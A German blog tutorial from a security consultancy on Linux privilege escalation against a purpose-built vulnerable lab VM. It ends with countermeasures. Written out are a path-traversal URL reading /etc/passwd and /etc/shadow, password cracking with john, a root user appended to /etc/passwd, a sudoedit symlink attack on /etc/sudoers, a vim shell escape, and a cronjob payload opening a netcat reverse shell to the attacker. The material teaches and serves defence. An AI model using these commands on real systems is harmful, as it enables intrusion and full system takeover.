Linux Privilege Escalation

Bestimmt haben Sie bereits von diesem ominösen «Privilege Escalation» gehört. Doch um was geht es dabei überhaupt? Unter Privilege Escalation werden verschiedene Techniken und Schwachstellen verstanden, die es einem unprivilegierten Account ermöglichen an erhöhte Rechte zu gelangen.

Einerseits haben Sie in diesem BLOG die Möglichkeit, die Theorie über vier verschiedene Möglichkeiten zur Privilege Escalation unter Linux zu lesen. Als Zugabe habe ich eine verwundbare Linux VM erstellt, mit welcher Sie die im Blog beschriebenen Schwachstellen direkt selbst ausnützen können. Die Opfer-VM können Sie mit einem Klick auf das Download-Icon nach diesem Absatz beziehen. Als Angreifer-Maschine empfiehlt sich die aktuellste Version von Kali Linux zu installieren. VM Downloads von Kali Linux finden Sie hier.

Download Opfer-VM: hier

Um diese VMs zu betreiben wird ein VM-Player benötigt. Die gängigsten sind hier VMWare Workstation Player und Virtual Box. Zu beachten ist dabei, dass diese Versionen nur im persönlichen Gebrauch gratis sind.

Opfer-VM Informationen

Die Opfer-VM ist so konfiguriert, dass Sie mit dem Local Only Interface des VM-Players verbindet, sobald diese gestartet wird. Überprüfen Sie in den VM-Player Einstellungen, in welchem Range die IPs vergeben werden, um die IP-Adresse der Opfer-VM zu eruieren.

Da in diesem Beispiel die verwundbare VM zuerst in das Netzwerk genommen wurde, hat diese die IP 192.168.71.128. Die Kali-Maschine wurde als zweites in das Host-Only Netzwerk genommen und hat so die IP 192.168.71.129 erhalten. Überprüfen Sie mittels «ping», welche IP-Adresse die verwundbare Maschine hat und schreiben Sie sich diese auf. Mittels «ifconfig» kann auch die IP-Adresse der Kali-Maschine eruiert werden. Schreiben Sie sich auch diese auf.

Einstieg

Natürlich wird der Einstieg in die VM nicht ohne Effort preisgegeben. Sie starten ohne Login Informationen zur VM.

Sie werden also mit folgendem Login Fenster begrüsst.

Wie könnten Sie aber Zugriff auf die VM erhalten ohne Login Informationen? Dazu wird auf die Angreifer Maschine gewechselt und die VM von extern untersucht.

Mittels nmap wird die VM extern gescannt. Einen einfachen Scan auf ein Target kann mittels folgendem Befehl ausgeführt werden.

nmap -sC -sV -oA simple 192.168.71.128

Die Option -sC erlaubt es nmap mit als sicher geltenden Scripts das Target zu scannen.

-sV versucht mittels verschiedener Techniken die Version des laufenden Services herauszufinden.

Mit dem Switch -oA werden Outputs erstellt in den drei möglichen Formaten (XML, gnmap, nmap)

Als letztes muss noch die IP-Adresse der verwundbaren VM angegeben werden.

Eine Kurzanalyse des nmap Outputs lässt schon erahnen, um welchen Service es sich handelt. Auf Port 8080 wird ein MiniServ 0.01 betrieben. Der Aufruf des Services im Browser der Kali-Maschine erhärtet den Verdacht.

Nun geht es darum, für die gefundene Software eine Schwachstelle zu finden. Dazu wird im Internet nach bekannten Schwachstellen gesucht. Auf Exploit-DB kann relativ schnell eine passende Schwachstelle gefunden werden.

Die gefundene Schwachstelle wird analysiert. Es handelt sich um eine File Disclosure Schwachstelle, mittels welcher Angreifer beliebige Files des Filesystems auslesen können. Da in unserem Fall Zugangsdaten für die VM interessant sind, wäre es natürlich perfekt, die Files passwd und shadow auslesen zu können.

Es kann das auf Exploit-DB angebotene Perl Script verwendet werden, um die beiden Files auszulesen. Der Einfachheit halber können Sie hier aber auch die manuelle Version der Schwachstelle verwenden.

Mittels folgender URL kann auf die System-Files zugegriffen werden:

Passwd-File

http://192.168.71.128:8080/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd

Shadow-File

http://192.168.71.128:8080/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow

Den dargebotenen Inhalt der Files speichern Sie nun in zwei Files ab. Wie Sie diese nennen, spielt keine Rolle, der Einfachheit halber macht es aber Sinn, diese wie die ausgelesenen Dateien zu benennen, nämlich «passwd» und «shadow».

Nun geht es darum, die gefundenen Passwörter zu knacken. Dies erreichen wir mittels des in Kali Linux integrierten Tools «john».

«john» kann aber nicht beide Files einzeln abarbeiten, sondern benötigt ein kombiniertes File, wie es früher auf Linux Maschinen verwendet wurde. Um ein solches kombiniertes File zu bekommen, wird das ebenfalls in Kali-Linux integrierte Tool «unshadow» verwendet.

Es werden die beiden erstellten Dateien «passwd» und «shadow» übergeben und mittels «> crack» in eine neue Datei namens «crack» geschrieben.

unshadow passwd shadow > crack

Nun ist der Output bereit, mittels «john» gecracked zu werden.

Nach wenigen Sekunden bis Minuten sollte das Passwort des Benutzeraccounts «alice» erfolgreich geknackt sein (12345678).

Nun kann die Anmeldung an der VM mit den gefundenen Login-Informationen vollzogen werden.

Leider handelt es sich beim Benutzer «alice» um einen normalen Benutzeraccount. Als Angreifer hätten wir jedoch, wie der Titel des BLOGs verrät, gerne administrative bzw. root-Rechte. Nachfolgend werden vier verschiedene Möglichkeiten aufgezeigt, welche es dem Angreifer auf dieser Maschine ermöglichen, an administrative Rechte zu gelangen. Stellen Sie dabei sicher, nach jedem erfolgreichen Erreichen der administrativen Berechtigungen die VM wieder mittels Snapshot «Vulnbuntu Final» in ihren ursprünglichen Status zu versetzen.

Privilege Escalation via passwd File

Einmal eingeloggt, gehen wir direkt auf die Suche nach wichtigen System-Files, welche durch Fehlkonfiguration der Benutzer-Berechtigungen uns einen Vorteil verschaffen können. Beim durchstöbern des «/etc» Verzeichnisses sticht direkt ins Auge, dass das passwd-File (/etc/passwd) durch alle Benutzer verändert werden kann.

Ist dies der Fall, kann mittels echo Befehl ein neuer Benutzer hinzugefügt werden. Diesem erteilen wir praktischerweise direkt Root-Berechtigungen. Zuerst muss das gewünschte Passwort des neuen Benutzers aber in die richtige Form gebracht werden. Dies erfolgt mittels openssl Tool, welches üblicherweise vorinstalliert ist.

Als Passwort für den neuen Benutzer wurde «gosec» gewählt.

openssl passwd gosec

Dieses Passwort muss nun zusammen mit den restlichen Parametern in das passwd-File «geechoed» werden. Mittels den doppelten >-Zeichen wird der Text am Ende des Files eingefügt. Mit nur einem «>» würde der gesamte Inhalt des passwd-Files überschrieben werden.

echo "root2:0N6olR.xaS5NA:0:0:root:/root:/bin/bash" >> /etc/passwd

Nun kann mittels folgendem Befehl zum neu erstellten Benutzer gewechselt werden.

su root2

Voilà, nun haben Sie administrative Rechte auf dem System. Um mit der nächsten Technik fortzufahren reicht es, wenn Sie das offenen Konsolenfenster schliessen und ein neues öffnen. Sie sind nun wieder auf der Berechtigungsstufe von Alice.

Privilege Escalation mittels verwundbarer sudoedit Version

Nach erfolgreichem Eindringen in eine Linux Maschine kann mittels «sudo -l» überprüft werden, welche Commands der derzeit eingeloggte Benutzer mit administrativen Rechten ausführen kann.

In diesem Beispiel ist nur der erste Eintrag relevant. Der zweite Eintrag wird im nächsten Kapitel interessant.

Es ist erkennbar, dass der eingeloggte User «alice» sämtliche Dateien namens settings.html, welche in der Verzeichnisstruktur unter «/home/alice/*/*/» abgespeichert sind, mittels sudoedit bearbeiten darf. Dies ist kein üblicher Eintrag, sollte aber im Normalfall zu keinem Security-Issue werden. Bei der installierten Version von sudo (1.6.9p17) existiert aber eine Schwachstelle, welche es einem Angreifer mittels Symlinks erlaubt, sämtliche Dateien auf dem System zu verändern. Dies machen wir uns nun zu Nutze.

Zuerst wird die notwendige Pfadstruktur erstellt. In unserem Fall werden zwei Ordner im «Home» von «alice» erstellt. Der neue Pfad sieht nun wie folgt aus:

/home/alice/hack1/hack2

Nun wird ein neuer Symlink namens «settings.html» erstellt, welcher auf die System-Datei «sudoers» im Ordner «/etc/» zeigt. Dieser Symlink erlaubt es «alice», die eigentlich System-Administratoren vorbehaltene Datei, «/etc/sudoers» zu verändern. In dieser Datei wird verwaltet, welcher Benutzer mittels «sudo» Befehle im administrativen Kontext ausführen darf.

ln -s /etc/sudoers settings.html

Der benötigte Eintrag ist nun erstellt und der Benutzer «alice» sollte nun den Inhalt der «sudoers»-Datei verändern können. Dies erfolgt mittels folgendem Befehl:

sudoedit /home/alice/hack1/hack2/settings.html

Voilà, “alice” hat nun Zugriff auf die Datei und kann diese nach Belieben verändern.

In diesem Beispiel erteilt sich «alice» einfach selbst die Berechtigung, sämtliche Befehle ohne Eingabe eines Passworts ausführen zu dürfen. Dazu muss folgende Zeile unter «User privilege specification» eingefügt werden:

alice ALL=(root) NOPASSWD: ALL

Nach dem Abspeichern der Datei kann «alice» nun sämtliche Befehle mit administrativen Berechtigungen ausführen. Zum Beispiel auch das Passwort des Root-Benutzers ändern. In diesem Beispiel ändern wir das Passwort des Benutzers auf «gosecurity».

Nun kann mittels «su root» und Eingabe des neuen Passworts bequem auf den Root-Benutzer gewechselt werden.

Root-Shell spawning mittels Text editor

In diesem Beispiel wird mittels eines einfachen Tricks innerhalb eines Texteditors eine neue Shell gespawned, welche im Kontext des administrativen Benutzers «root» ausgeführt wird. Mittels «sudo -l» können wir abermals überprüfen, welche Befehle der Benutzer «alice» mit Root-Berechtigungen ausführen darf.

Hier ist der zweite Eintrag von Bedeutung. Dieser erlaubt es dem Benutzer «alice», die Konfigurations-Datei «apache.conf» im Ordner «/home/alice» mit administrativen Rechten nach Belieben zu verändern.

Dies wäre ohne diese speziellen Berechtigungen nicht möglich, da nur der Benutzer «root» diese Datei verändern darf. So weit so gut. Ein Feature im Textbearbeitungstool vim ermöglicht es dem Benutzer aber, nebst normalen Textmanipulationen auch System-Commands auszuführen.

Mittels folgendem Command kann nun eine Shell mit administrativen Berechtigungen gespawned werden.

:!/bin/sh

Voilà, nun haben Sie eine Shell, welche im Root-Kontext ausgeführt wird, und haben die komplette Kontrolle über das Gerät.

Privilege Escalation mittels schlecht abgesichertem Cronjob

Die finale Möglichkeit zum Erlangen von administrativen Berechtigungen wird mittels eines schlecht konfigurierten Cronjobs sichergestellt.

Mittels folgendem Befehl können die auf dem System konfigurierten Cronjobs angezeigt werden.

cat /etc/crontab

Dabei fällt sofort der erste Eintrag auf, welcher alle zwei Minuten das folgende Script ausführt:

«/usr/welcome.py»

Dies wäre sicherheitstechnisch kein Problem, hätten nicht alle Benutzer Schreibrechte auf das File. So kann das Script von jedem Account des Linux-Systems verändert werden. Diese veränderte Version wird dann alle zwei Minuten mit administrativen Berechtigungen ausgeführt.

Zu diesem Zeitpunkt kann «alice» ihr eigenes Python-Script in die Datei einbetten, um z.B. eine Rückverbindung zur Kali-Maschine herzustellen. In unserem Beispiel würde die neue, veränderte Version der Datei wie folgt aussehen:

#!/usr/bin/env python
import os
import sys

try:

os.system('nc -nv IP-ADRESSE PORT -e /bin/bash')

except:

sys.exit()

Hier muss natürlich IP-ADRESSE durch die IP-Adresse der Kali-Maschine und der Port durch den verwendeten Listener Port (in unserem Fall 4444) getauscht werden.

Dass die Kali-Maschine diese Verbindung, welche alle 2 Minuten hergestellt wird, auch empfangen kann, muss ein Listener gestartet werden.

nc -lnvp 4444

Nach erfolgreichem Editieren des Scripts gilt es zwei Minuten zu warten, bis der Cronjob das nächste Mal ausgeführt wird. Nach dieser Wartezeit sollte, wenn alles korrekt eingegeben wurde, eine Rückverbindung auf unsere Kali-Maschine hergestellt worden sein.

Voilà, nun haben Sie eine Remote-Shell auf der Opfer-VM mit administrativen Berechtigungen und somit die volle Kontrolle über das Gerät.

Gegenmassnahmen

Was können Sie nun gegen solche Schwachstellen unternehmen? Kurz und knapp können Ihre Möglichkeiten folgend zusammengefasst werden:

  • Less Privilege – Stellen Sie sicher, dass jegliche Mitarbeiter und auch unpersönliche Accounts (z.B. Service Accounts) nur über genau die Berechtigungen verfügen, welche zwingend benötigt werden.
  • Patchen, patchen, patchen – Die meisten der heutzutage gängigen Privilege Escalations nutzen bekannte Schwachstellen aus. Diese können meist mittels Sicherheitsupdates geschlossen werden.
  • Vier Augen Prinzip – Durch eine Prüfung der Konfigurationen durch eine zweite Person können bereits viele Fehlkonfigurationen entdeckt werden.

Fazit

Dieser Blog zeigt, wie einfach es sein kann an höhere Rechte an einem System zu kommen – auch unter Linux. Ein einzelner Konfigurationsfehler eines Admins kann für die gesamte Firma katastrophale Folgen haben. Ich hoffe, ich konnte mit Hilfe dieses BLOGs ein wenig Licht ins Dunkle im Bereich Linux Privilege Escalation bringen. Sie haben selber ein Linux-Server in Betrieb oder wollen Ihre Gesamte IT-Infrastruktur überprüfen lassen? Melden Sie sich bei uns!

Informationen zum Autor: Michel Hennet

Schon während meines Studiums an der ZHAW in Winterthur faszinierte mich die IT-Security. Unbedingt wollte ich darum die Stelle als Junior Security Consultant bei der Firma goSecurity bekommen. Schon während meinen ersten Kundenprojekten wurde mir klar: Genau das habe ich gesucht. Aus der Faszination entwickelt sich bei mir eine Leidenschaft. Die Leidenschaft als technischer Spezialist die Geschäftsanforderungen perfekt zu unterstützen. Nur so ist der Begriff des Experten für mich erst legitim. Mein voller Einsatz für Sie befriedigt meine Leidenschaft und meine Ansprüche an mich selbst.